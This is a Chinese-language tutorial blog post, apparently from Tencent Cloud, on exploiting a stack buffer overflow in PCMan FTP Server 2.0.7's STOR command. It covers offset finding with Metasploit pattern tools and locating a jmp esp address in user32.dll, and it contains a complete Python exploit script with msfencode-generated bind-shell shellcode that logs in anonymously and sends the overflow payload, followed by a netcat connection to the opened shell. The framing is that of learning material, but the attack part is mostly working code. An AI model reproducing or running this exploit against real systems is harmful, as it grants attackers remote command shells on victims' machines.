PCMAN FTP STOR命令栈溢出

PCMAN FTP STOR命令栈溢出

    继XX同学上个学期对PCMAN FTP这个软件进行了残暴的溢出测试(溢出点是FTP用户名,版本不清楚),我也开始学习逆向和溢出,谷歌上搜索pcman's ftp,找到了这个溢出exploit:http://www.exploit-db.com/exploits/27703/ 。作为我初学exp的试验工具~~

    pcman's ftp是一款运行在windows下的FTP软件,最新版本2.0.7,也就是我今天要测试的版本。所以介绍相关信息:

    OS:windows XP sp3 简体中文版(WIN7下我也试过,但因为ASLR没能绕过去,重启以后就不能用了,放弃了)

    soft version:2.0.7

    shellcode:msfpayload windows/shell_bind_tcp LPORT=28876 R | msfencode -a x86 -b '\x00\xff\x0a\x0d\x20\x40' -t c

    point:pcman对stor命令长度判断存在缺陷,导致缓冲区溢出(在溢出字符串前加/../即可绕过)。但文中给出的exp不能正常使用,所以我们需要对其进行修改。

0x01 定位eip

    栈溢出原理就是覆盖了栈的返回地址。因为栈是从高地址向低地址延伸的,所以当产生溢出的时候,我们写在低地址的内容超出缓冲区大小,从而覆盖了高地址的eip的值,导致溢出。

    如上图是函数的栈,我们能控制的就是buffer[128],当我们输入的内容过长的时候,就能把后面的ebp、eip给覆盖掉。eip指向的是下一条待执行的语句地址,这样我们就能轻松执行自己的语句。

    所以第一步,我们需要知道buffer的长度是多少时才能覆盖到eip。

首先我们大概确定一下eip的位置。首先把expdb文章中给出的exp保存下来,将覆盖之前的垃圾数据A长度设置成1900:

    garbage= '\x41' * 1900

    发送发现没有出错,说明溢出点在1900字节以后,再把garbage改成2100,发现程序崩掉了。所以我确定溢出长度在1900-2100字节之间。当然这个范围是慢慢确定的,比如先试1000-5000,再试1500-2500,慢慢缩小范围。

    确定了一个大范围以后,我们借助到metasploit中的一个小脚本来完成这个任务:/opt/metasploit/apps/pro/msf3/tools/pattern_create.rb

    生成一个长度是200的pattern字符串(2100-1900==200),我们发送这样的一个数据包:

    STOR + /../ + A * 1900 + pattern

    PCMAN接受到数据后就崩了,在windbg下可以看到此时的eip是0x41346441:

    我们再回到kali下使用pattern_offset来计算偏移:

    偏移是102,也就是说0x41346441这个值出现在了200个字符中的第102个,也就是eip在第102个。加上之前的1900,我们就精确计算出eip所在的位置:1900 + 102 == 2002.

    我们可以测试一下,发送 STOR + /../ + B * 2002 + A * 4,可以看到windbg获取的eip:

    41414141即为AAAA。

0x02 查找jmp esp

    知道了eip的位置,我们就来构造eip的值。eip是指向下一个执行的语句的地址,那么我们就可以直接把shellcode放在这个地方来执行shellcode了吧!!

    不过现实情况是,我们并不知道shellcode应该放在什么位置。而且在每台计算机上固定的地址都可能不相同,所以绝不能使用jmp 0x0a45e807这种方式跳转到shellcode。但是我们可以跳到一个寄存器指向的地址,比如esp。

    具体溢出基础原理不再赘述,总之我们可以把eip覆盖成jmp esp的地址。有前辈找到了一个对于windowsXP和2003(中文版)都通用的地址:0x7ffa4512。不过有句老话,通用的一定不是最好的。我们何不学会怎么自己在内存里找到这种地址?

    用windbg的s指令。首先我知道jmp esp的机器码是ff e4。接着,我选择在USER32.DLL这个模块中搜索。当然,最好的方式是,我们在程序自带的dll中搜索,因为这些dll通常没有ASLD等防御措施。(不过这个软件自带的dll里没找到ff e4)

    从上图可以看到user32.dll加载在77d10000-77da0000之间,所以搜索可以这样:

    s 77d10000 l 90000 ff e4 (从0x77d10000开始偏移90000)

    如图可以找到很多ff e4.我们就选择最上面一个:0x77d29353.

0x03 编写合适的shellcode

    这一步之前一直困扰我,之前编写用的一个shellcode一放进去就出错,后来用msfencode加工一遍以后就没问题了。以前只知道shellcode里不能有\x00,现在才知道某些特殊字符也不能有,比如这个ftp协议stor命令,就可能不能有\r、\n、空格,所以还是用msf生成一个正向连接的cmdshell。

    msfpayload windows/shell_bind_tcp LPORT=28876 R | msfencode -a x86 -b '\x00\xff\x0a\x0d\x20\x40' -t c

0x04 改写原文中的exp,溢出成功

    经过上面一长段分析,基本就可以开始编写exp了。原文中给出了exp,所以只要改写就行。(改偏移地址为2002,jmp esp地址为\x53\x93\xd2\x77,其他地方小改动)

import socket, sys, os, time
if len(sys.argv) != 3:
        print "[*] Uso: %s <Ip Victima> <Puerto> \n" % sys.argv[0]
        print "[*] Exploit created by Polunchis"
        print "[*] https://www.intrusionlabs.org"
        sys.exit(0)
target = sys.argv[1]
port = int(sys.argv[2])
#msfpayload windows/shell_bind_tcp LPORT=28876 R | msfencode -a x86 -b '\x00\xff\x0a\x0d\x20\x40' -t c
shellcode = (
"\xda\xcf\xb8\xba\xb3\x1e\xe7\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x56\x31\x42\x18\x83\xc2\x04\x03\x42\xae\x51\xeb\x1b\x26\x1c"
"\x14\xe4\xb6\x7f\x9c\x01\x87\xad\xfa\x42\xb5\x61\x88\x07\x35"
"\x09\xdc\xb3\xce\x7f\xc9\xb4\x67\x35\x2f\xfa\x78\xfb\xef\x50"
"\xba\x9d\x93\xaa\xee\x7d\xad\x64\xe3\x7c\xea\x99\x0b\x2c\xa3"
"\xd6\xb9\xc1\xc0\xab\x01\xe3\x06\xa0\x39\x9b\x23\x77\xcd\x11"
"\x2d\xa8\x7d\x2d\x65\x50\xf6\x69\x56\x61\xdb\x69\xaa\x28\x50"
"\x59\x58\xab\xb0\x93\xa1\x9d\xfc\x78\x9c\x11\xf1\x81\xd8\x96"
"\xe9\xf7\x12\xe5\x94\x0f\xe1\x97\x42\x85\xf4\x30\x01\x3d\xdd"
"\xc1\xc6\xd8\x96\xce\xa3\xaf\xf1\xd2\x32\x63\x8a\xef\xbf\x82"
"\x5d\x66\xfb\xa0\x79\x22\x58\xc8\xd8\x8e\x0f\xf5\x3b\x76\xf0"
"\x53\x37\x95\xe5\xe2\x1a\xf2\xca\xd8\xa4\x02\x44\x6a\xd6\x30"
"\xcb\xc0\x70\x79\x84\xce\x87\x7e\xbf\xb7\x18\x81\x3f\xc8\x31"
"\x46\x6b\x98\x29\x6f\x13\x73\xaa\x90\xc6\xd4\xfa\x3e\xb8\x94"
"\xaa\xfe\x68\x7d\xa1\xf0\x57\x9d\xca\xda\xee\x99\x04\x3e\xa3"
"\x4d\x65\xc0\x33\x42\xe0\x26\xd9\x4a\xa5\xf1\x75\xa9\x92\xc9"
"\xe2\xd2\xf0\x65\xbb\x44\x4c\x60\x7b\x6a\x4d\xa6\x28\xc7\xe5"
"\x21\xba\x0b\x32\x53\xbd\x01\x12\x1a\x86\xc2\xe8\x72\x45\x72"
"\xec\x5e\x3d\x17\x7f\x05\xbd\x5e\x9c\x92\xea\x37\x52\xeb\x7e"
"\xaa\xcd\x45\x9c\x37\x8b\xae\x24\xec\x68\x30\xa5\x61\xd4\x16"
"\xb5\xbf\xd5\x12\xe1\x6f\x80\xcc\x5f\xd6\x7a\xbf\x09\x80\xd1"
"\x69\xdd\x55\x1a\xaa\x9b\x59\x77\x5c\x43\xeb\x2e\x19\x7c\xc4"
"\xa6\xad\x05\x38\x57\x51\xdc\xf8\x67\x18\x7c\xa8\xef\xc5\x15"
"\xe8\x6d\xf6\xc0\x2f\x88\x75\xe0\xcf\x6f\x65\x81\xca\x34\x21"
"\x7a\xa7\x25\xc4\x7c\x14\x45\xcd"
)
garbage= '\x41' * 2002
jmpesp = '\x53\x93\xd2\x77' #or 7ffa4512
fixstack= '\x83\xc4\x9c'
nop='\x90' * 4
buffer = garbage + jmpesp + nop + fixstack + shellcode
vulparameter= '/../'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[+] Connect to %s on port %d" % (target,port)
try:
    s.connect((target,port))
    s.recv(1024)
    s.send('USER anonymous\r\n') 
    s.recv(1024)
    s.send('PASS polunchis\r\n')
    s.recv(1024)
    s.send("STOR " + vulparameter + buffer + "\r\n")
    print "[+] Sending payload of size", len(buffer) 
    s.close()
    print "[+] Exploit Sent Successfully"
    print "[+] Waiting for 5 sec before spawning shell to " + target + ":28876\r"
    print "\r"
    time.sleep(5)
    #os.system ("nc -n " + target + " 28876")
    print "[+] Then you can test nc.exe -n " + target + " 28876 \r"
except:
    print "[-] Could not connect to " + target + ":21\r"
    sys.exit(0) 

    发送成功:

    因为是正向连接cmdshell,所以用nc连接一下成功:

    发送的数据中有一个fixstack字段,机器码的意思是add esp, ffffffc4,也就是esp = esp - 100H。我问了学长,是为了提高栈,避免shellcode中局部变量把代码破坏了……其实具体原理还是不太懂,以后再细细研究~

    对PCMAN FTP的研究到一段落了,但溢出的冰山一角才开始出现在我眼前,再接再厉。

    PCMAN FTP下载,在附件中。

    附件:PCMans_FTP_Server_2.0.rar

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 关于Metasploit 5中测试模块的移植与验证

    如果针对某一程序或软件已经有了相应的渗透模块,此时再去写一个实现类似功能的模块就显得多此一举。然而,并非所有的渗透模块都是基于Metasploit框架开发的,其...

    FB客服
  • python应用系列教程——python

    ftp=FTP() #设置变量 ftp.set_debuglevel(2) #打开调试级别2,显示详细信息 ftp.connect(“IP”,”port...

    py3study
  • python:ftplib模块

    ftp.set_debuglevel(2)       #打开调试级别2,显示详细信息

    py3study
  • python搭建FTP服务器之FTP上传和下载

    Python中默认安装的ftplib模块定义了FTP类,其中函数有限,可用来实现简单的ftp客户端,用于上传或下载文件,函数列举如下

    周小董
  • python ftplib模块

    Python中默认安装的ftplib模块定义了FTP类,其中函数有限,可用来实现简单的ftp客户端,用于上传或下载文件

    py3study
  • python ftp常用操作

    原来直接在shell下操作:需要【连接,输用户名,输密码,单文件操作,存在超时限制】

    py3study
  • 手把手教你用1行Python代码实现FTP服务器-Pyftpdlib

    元旦快乐 当你想快速共享一个目录的时候,这是特别有用的,只需要1行代码即可实现。 FTP 服务器,在此之前我都是使用Linux的vsftpd软件包来搭建FTP服...

    企鹅号小编
  • 利用python实现ftp的文件读写

    py3study
  • python ftp和sftp的例子

    YESTERDAY = TODAY - datetime.timedelta(days=1)

    py3study
  • python ftp 处理

    Python中默认安装的ftplib模块定义了FTP类,其中函数有限,可用来实现简单的ftp客户端,用于上传或下载文件

    py3study
  • 手把手教你用 1行Python 代码实现 FTP 服务器-Pyftpdlib

    摘要: 当你想快速共享一个目录的时候,这是特别有用的,只需要1行代码即可实现。 ? 当你想快速共享一个目录的时候,这是特别有用的,只需要1行代码即可实现。 FT...

    企鹅号小编
  • python脚本之ftp上传日志

    因为ssoc日志巨大,很快就把磁盘占满。需要每天把备份上传到ftp服务器上,所以根据网上的资料,做了个简单的脚本。算是第一次自己拼凑出的脚本。还很简单,特别是把...

    py3study
  • 1行Python代码实现FTP服务器

    当你想快速共享一个目录的时候,这是特别有用的,只需要1行代码即可实现。 FTP 服务器,在此之前我都是使用Linux的vsftpd软件包来搭建FTP服务器的,现...

    Python中文社区
  • 手把手教你用1行Python代码实现FTP服务器 -- Pyftpdlib

    KangVcar
  • 浅谈Python中ftplib模块1.ftp登陆连接2.FTP相关命令操作3.实例

    写了这么久,都只是简单的用法,缺少实例,敏感的我,读完以后仿佛感受到看这篇文章的人一股满满的期望与失落混杂的无奈感。放心~当然有实例了。代码已上传Github,...

    Python攻城狮
  • 基于python实现FTP文件上传与下载操作(ftp&sftp协议)

    前言 FTP(File Transfer Protocol)是文件传输协议的简称。用于Internet上的控制文件的双向传输。同时,它也是一个应用程序(Appl...

    砸漏
  • python构建SSH僵尸网络

    构建僵尸网络,主要使用的包为pexpect,Pexpect 是一个用来启动子程序并对其进行自动控制的 Python 模块,它可以用来和像 ssh、ftp、pas...

    黑白格
  • python实现从ftp上下载文件的实例方法

    到此这篇关于python实现从ftp上下载文件的实例方法的文章就介绍到这了,更多相关python怎么实现从ftp上下载文件内容请搜索ZaLou.Cn以前的文章或...

    砸漏
  • Security知识阶段汇总

    去年参与了很多公司组织的security活动,并且给自己team,其他team做过一些security相关的分享,今年公司security相关的活动又陆续开始了...

    Bruce Li

扫码关注云+社区

领取腾讯云代金券